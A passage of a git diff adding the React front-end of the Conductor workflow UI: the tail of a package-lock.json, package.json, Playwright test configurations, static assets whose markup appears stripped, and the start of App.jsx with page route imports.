"sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/write-file-atomic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/ws": { + "version": "7.5.8", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.8.tgz", + "integrity": "sha512-ri1Id1WinAX5Jqn9HejiGb8crfRio0Qgu8+MtL36rlTA6RLsMdWt1Az/19A2Qij6uSHUMphEFaTKa4WG+UNHNw==", + "license": "MIT", + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz", + "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==", + "license": "Apache-2.0" + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "license": "MIT" + }, + "node_modules/xss": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/xss/-/xss-1.0.13.tgz", + "integrity": "sha512-clu7dxTm1e8Mo5fz3n/oW3UCXBfV89xZ72jM8yzo1vR/pIS0w3sgB3XV2H8Vm6zfGnHL0FzvLJPJEBhd86/z4Q==", + "license": "MIT", + "dependencies": { + "commander": "^2.20.3", + "cssfilter": "0.0.10" + }, + "bin": { + "xss": "bin/xss" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/xss/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "license": "MIT" + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "license": "MIT", + "engines": { + "node": ">=0.4" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "license": "ISC" + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "license": "ISC", + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "license": "MIT", + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.9", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yarn": { + "version": "1.22.22", + "resolved": "https://registry.npmjs.org/yarn/-/yarn-1.22.22.tgz", + "integrity": "sha512-prL3kGtyG7o9Z9Sv8IPfBNrWTDmXB4Qbes8A9rEzt6wkJV8mUvoirjU0Mp3GGAU06Y0XQyA3/2/RQFVuK7MTfg==", + "hasInstallScript": true, + "license": "BSD-2-Clause", + "bin": { + "yarn": "bin/yarn.js", + "yarnpkg": "bin/yarn.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yup": { + "version": "0.32.11", + "resolved": "https://registry.npmjs.org/yup/-/yup-0.32.11.tgz", + "integrity": "sha512-Z2Fe1bn+eLstG8DRR6FTavGD+MeAwyfmouhHsIUgaADz8jvFKbO/fXc2trJKZg+5EBjh4gGm3iU/t3onKlXHIg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.15.4", + "@types/lodash": "^4.14.175", + "lodash": "^4.17.21", + "lodash-es": "^4.17.21", + "nanoclone": "^0.2.1", + "property-expr": "^2.0.4", + "toposort": "^2.0.2" + }, + "engines": { + "node": ">=10" + } + } + } +} diff --git a/ui/package.json b/ui/package.json new file mode 100644 index 0000000..debb3f9 --- /dev/null +++ b/ui/package.json @@ -0,0 +1,101 @@ +{ + "name": "client", + "version": "3.8.0", + "dependencies": { + "@material-ui/core": "^4.12.3", + "@material-ui/icons": "^4.11.2", + "@material-ui/lab": "^4.0.0-alpha.60", + "@material-ui/styles": "^4.11.4", + "@monaco-editor/react": "^4.4.0", + "@use-gesture/react": "^10.2.21", + "clsx": "^1.1.1", + "cronstrue": "^1.72.0", + "d3": "^6.2.0", + "dagre-d3": "^0.6.4", + "date-fns": "^2.16.1", + "dom-to-image": "^2.6.0", + "formik": "^2.2.9", + "http-proxy-middleware": "^2.0.1", + "immutability-helper": "^3.1.1", + "json-bigint-string": "^1.0.0", + "lodash": "^4.18.1", + "moment": "^2.29.2", + "monaco-editor": "^0.44.0", + "node-forge": "^1.4.0", + "orkes-workflow-visualizer": "^1.1.1", + "parse-svg-path": "^0.1.2", + "prop-types": "^15.7.2", + "react": "^18.3.1", + "react-cron-generator": "^1.3.5", + "react-data-table-component": "^6.11.8", + "react-dom": "^18.3.1", + "react-helmet": "^6.1.0", + "react-is": "^17.0.2", + "react-query": "^3.19.4", + "react-resize-detector": "^5.2.0", + "react-router": "^5.2.0", + "react-router-dom": "^5.2.0", + "react-router-use-location-state": "^2.5.0", + "react-scripts": "^5.0.1", + "react-vis-timeline-2": "^2.1.6", + "recharts": "^2.11.0", + "rison": "^0.1.1", + "styled-components": "^5.3.0", + "url-parse": "^1.5.1", + "use-local-storage-state": "^10.0.0", + "xss": "^1.0.8", + "yarn": "^1.22.22", + "yup": "^0.32.11" + }, + "scripts": { + "start": "react-scripts start", + "build": "react-scripts build", + "test": "react-scripts test", + "eject": "react-scripts eject", + "prettier": "prettier --write .", + "serve-build": "http-server ./build --port 5000 --proxy http://localhost:8080", + "preview": "serve -s build --listen 5000", + "test:e2e": "playwright test", + "test:e2e:ui": "playwright test --ui", + "test:e2e:headed": "playwright test --headed", + "test:e2e:debug": "playwright test --debug", + "test:ct": "playwright test --config=playwright-ct.config.ts", + "test:ct:ui": "playwright test --config=playwright-ct.config.ts --ui" + }, + "browserslist": { + "production": [ + ">0.2%", + "not dead", + "not op_mini all" + ], + "development": [ + "last 1 chrome version", + "last 1 firefox version", + "last 1 safari version" + ] + }, + "resolutions": { + "validator": "^13.7.0", + "nth-check": "^2.0.1", + "async": "^3.2.2", + "ejs": "^3.1.7" + }, + "devDependencies": { + "@babel/core": "^7.18.2", + "@babel/preset-env": "^7.18.2", + "@babel/register": "^7.17.7", + "@playwright/experimental-ct-react": "^1.60.0", + "@playwright/test": "^1.60.0", + "http-server": "^14.1.1", + "js-yaml": "4.1.0", + "prettier": "^2.2.1", + "sass": "^1.49.9", + "serve": "^14.2.6", + "typescript": "^4.6.3" + }, + "engines": { + "node": ">=14.17.0" + }, + "license": "Apache-2.0", + "packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e" +} diff --git a/ui/playwright-ct.config.ts b/ui/playwright-ct.config.ts new file mode 100644 index 0000000..ff46653 --- /dev/null +++ b/ui/playwright-ct.config.ts @@ -0,0 +1,22 @@ +import { defineConfig, devices } from "@playwright/experimental-ct-react"; + +export default defineConfig({ + testDir: "src", + testMatch: "**/*.test.pw.tsx", + snapshotDir: "./__snapshots__", + timeout: 30 * 1000, + fullyParallel: true, + forbidOnly: !!process.env.CI, + retries: process.env.CI ? 2 : 0, + reporter: "html", + use: { + ctPort: 3100, + trace: "on-first-retry", + }, + projects: [ + { + name: "chromium", + use: { ...devices["Desktop Chrome"] }, + }, + ], +}); diff --git a/ui/playwright.config.ts b/ui/playwright.config.ts new file mode 100644 index 0000000..b135400 --- /dev/null +++ b/ui/playwright.config.ts @@ -0,0 +1,54 @@ +import { defineConfig, devices } from "@playwright/test"; + +/** + * Playwright E2E test configuration. + * + * Tests live in e2e/ and run against the production bundle served on port 5000. + * The server proxies /api to a Conductor backend (default: localhost:8080); + * individual test files use page.route() to intercept and mock those calls so + * the suite can run without a live backend. + * + * See https://playwright.dev/docs/test-configuration + */ +export default defineConfig({ + testDir: "./e2e", + + fullyParallel: true, + + // Fail the build on CI if test.only is accidentally committed. + forbidOnly: !!process.env.CI, + + retries: process.env.CI ? 2 : 0, + + // Limit concurrency on CI to avoid resource contention. + workers: process.env.CI ? 1 : undefined, + + reporter: [["html", { outputFolder: "playwright-report" }]], + + use: { + baseURL: "http://localhost:5000", + + // Collect traces on the first retry of a failed test for debugging. + trace: "on-first-retry", + + // Capture screenshots only on failure. + screenshot: "only-on-failure", + }, + + projects: [ + { + name: "chromium", + use: { ...devices["Desktop Chrome"] }, + }, + ], + + // Serve the production bundle before the test run. + // In CI the bundle is already built by a prior step, so just serve it. + // Locally, build first then serve; an existing server on port 5000 is reused. + webServer: { + command: process.env.CI ? "yarn preview" : "yarn build && yarn preview", + url: "http://localhost:5000", + reuseExistingServer: !process.env.CI, + timeout: 120_000, + }, +}); diff --git a/ui/playwright/index.html b/ui/playwright/index.html new file mode 100644 index 0000000..b4e9a25 --- /dev/null +++ b/ui/playwright/index.html @@ -0,0 +1,12 @@ + + + + + + Component Tests + + +
      + + + diff --git a/ui/playwright/index.tsx b/ui/playwright/index.tsx new file mode 100644 index 0000000..1ec3719 --- /dev/null +++ b/ui/playwright/index.tsx @@ -0,0 +1,2 @@ +// Entry point for Playwright component testing. +// Add global providers, styles, or setup here if needed. diff --git a/ui/public/diagramDotBg.svg b/ui/public/diagramDotBg.svg new file mode 100644 index 0000000..487e2c1 --- /dev/null +++ b/ui/public/diagramDotBg.svg @@ -0,0 +1,7493 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ui/public/favicon.svg b/ui/public/favicon.svg new file mode 100644 index 0000000..1cd90c0 --- /dev/null +++ b/ui/public/favicon.svg @@ -0,0 +1,52 @@ + + + + + + + + + + diff --git a/ui/public/index.html b/ui/public/index.html new file mode 100644 index 0000000..2fa6155 --- /dev/null +++ b/ui/public/index.html @@ -0,0 +1,23 @@ + + + + + + + Conductor UI + + + +
      + + + diff --git a/ui/public/logo.svg b/ui/public/logo.svg new file mode 100644 index 0000000..486088d --- /dev/null +++ b/ui/public/logo.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/ui/public/robots.txt b/ui/public/robots.txt new file mode 100644 index 0000000..e9e57dc --- /dev/null +++ b/ui/public/robots.txt @@ -0,0 +1,3 @@ +# https://www.robotstxt.org/robotstxt.html +User-agent: * +Disallow: diff --git a/ui/src/App.jsx b/ui/src/App.jsx new file mode 100644 index 0000000..995559e --- /dev/null +++ b/ui/src/App.jsx @@ -0,0 +1,180 @@ +import React from "react"; + +import { Route, Switch } from "react-router-dom"; +import { makeStyles } from "@material-ui/styles"; +import { loader } from "@monaco-editor/react"; +import { Button, AppBar, Toolbar } from "@material-ui/core"; +import AppLogo from "./plugins/AppLogo"; +import NavLink from "./components/NavLink"; + +import WorkflowSearch from "./pages/executions/WorkflowSearch"; +import TaskSearch from "./pages/executions/TaskSearch"; + +import Execution from "./pages/execution/Execution"; +import WorkflowDefinitions from "./pages/definitions/Workflow"; +import WorkflowDefinition from "./pages/definition/WorkflowDefinition"; +import TaskDefinitions from "./pages/definitions/Task"; +import TaskDefinition from "./pages/definition/TaskDefinition"; +import EventHandlerDefinitions from "./pages/definitions/EventHandler"; +import EventHandlerDefinition from "./pages/definition/EventHandlerDefinition"; +import SchedulerDefinitions from "./pages/definitions/Scheduler"; 